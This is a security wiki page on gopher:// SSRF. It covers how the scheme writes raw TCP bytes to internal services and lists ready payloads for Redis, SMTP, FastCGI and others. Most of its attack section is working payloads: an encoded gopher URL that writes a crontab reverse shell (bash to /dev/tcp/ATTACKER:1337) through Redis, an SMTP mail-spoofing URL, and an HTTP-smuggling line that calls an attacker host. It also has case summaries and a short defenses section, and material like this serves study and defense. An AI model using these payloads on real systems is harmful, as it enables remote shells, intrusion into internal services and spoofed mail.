# Gopher Protocol SSRF > `gopher://` lets an SSRF write arbitrary bytes (including CRLF) to an arbitrary TCP port, so a URL-fetch primitive becomes a raw socket to Redis/memcached/MySQL/SMTP/FastCGI on localhost — the usual path from blind SSRF to RCE. ## How it works `gopher://host:port/_<data>` opens a TCP connection to `host:port` and sends `<data>` verbatim after the first byte (the gopher item type, conventionally `_`). Because the payload is sent raw and URL-encoded CRLF (`%0D%0A`) is honoured, you can smuggle a complete line-based protocol exchange into one request. The response usually isn't reflected (blind), so gopher SSRF→RCE is typically fire-and-forget: craft the exact protocol bytes, send, and let the side effect (a written cron job, a sent mail, an executed query) do the work. Requires the client to permit the `gopher` scheme; when it's filtered at input, reach it via a `302` ([[Open Redirect to SSRF]]). ## Techniques / payloads Format: `gopher://[host]:[port]/[type][selector]`, data URL-encoded, CRLF as `%0D%0A`. **Gopherus** (`tarunkant/Gopherus`) and **SSRFmap** (`swisskyrepo/SSRFmap`) generate ready payloads for: | Service | Port | Outcome | |---|---|---| | Redis | 6379 | `config set dir`/`dbfilename` + `save` to write a cron job or webshell, or module load → reverse shell | | MySQL | 3306 | unauthenticated query exec (local, no-password) | | FastCGI | 9000 | `php-fpm` → RCE via `PHP_VALUE`/`SCRIPT_FILENAME` | | Memcached | 11211 | read/poison cache entries | | SMTP | 25 | send spoofed mail | | Zabbix | 10050 | agent command exec | **Redis reverse-shell (Gopherus, as used against Yahoo Mail):** `flushall`, `set` a key to a crontab line running `bash -c "sh -i >& /dev/tcp/ATTACKER/1337 0>&1"`, `config set dir /var/lib/redis`, `config set dbfilename root`, `save` — delivered as one encoded gopher URL: ``` gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A...config...set...dir.../var/lib/redis...dbfilename...root...save%0A ``` **SMTP (send mail):** ``` gopher://127.0.0.1:25/_HELO%20localhost%0D%0AMAIL%20FROM:<[email protected]>%0D%0ARCPT%20TO:<[email protected]>%0D%0ADATA%0D%0A...%0D%0A.%0D%0AQUIT%0D%0A ``` **Smuggle a full HTTP request** to another internal service: `gopher://proxy:8080/_GET http://attacker/x HTTP/1.1%0A%0A` (and `POST` with a body). **Port-scan first** with gopher/timing: open ports answer fast, closed ones hang — in the Yahoo case this fingerprinted Redis on 6379 before the RCE. ## Notable cases - **Yahoo Mail logoGrabber → RCE, $15k (sirleeroyjenkins)** — blind SSRF; `gopher://` blocked at input but followed via a self-hosted `302`; gopher port-scan found Redis 6379; Gopherus cron payload → root reverse shell (arrived ~5 min late). - **Resecurity red-team** — blind SSRF on a host with gopher enabled; gopher port-scan → Redis 6379 → Gopherus payload → reverse shell and lateral movement. ## Defenses - Scheme allowlist: permit only `http`/`https`, reject `gopher`/`dict`/`ftp`/`file` at input **and** on every redirect hop ([[Open Redirect to SSRF]]). - Don't expose unauthenticated TCP services on loopback; require auth on Redis, bind to sockets, disable dangerous `CONFIG`/`MODULE`. Egress policy and [[SSRF Prevention]]. - Most SSRF→RCE chains need gopher plus a weak internal service — close both. ## Related - [[Server-Side Request Forgery]] - [[Blind SSRF]] — gopher is the dominant blind→RCE escalation - [[Open Redirect to SSRF]] — reaching `gopher://` when it's filtered at input - [[Local File Read via SSRF]] — sibling non-HTTP scheme abuse - [[Out-of-Band Detection]] · [[SSRF Prevention]] ## Sources - [[raw/sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-1995|Just Gopher It: Escalating a Blind SSRF to RCE for $15k]] - [[raw/resecurity.com/blind-ssrf-to-rce-vulnerability-exploitation-3195|Blind SSRF to RCE Vulnerability Exploitation]] - [[raw/pravinponnusamy.medium.com/ssrf-payloads-1987|SSRF payloads]] - [[raw/github.com/swisskyrepo-payloadsallthethings-server-side-request-forgery-1524|PayloadsAllTheThings - Server Side Request Forgery]] - [[raw/book.hacktricks.xyz/url-format-bypass-hacktricks-43|URL Format Bypass - HackTricks]]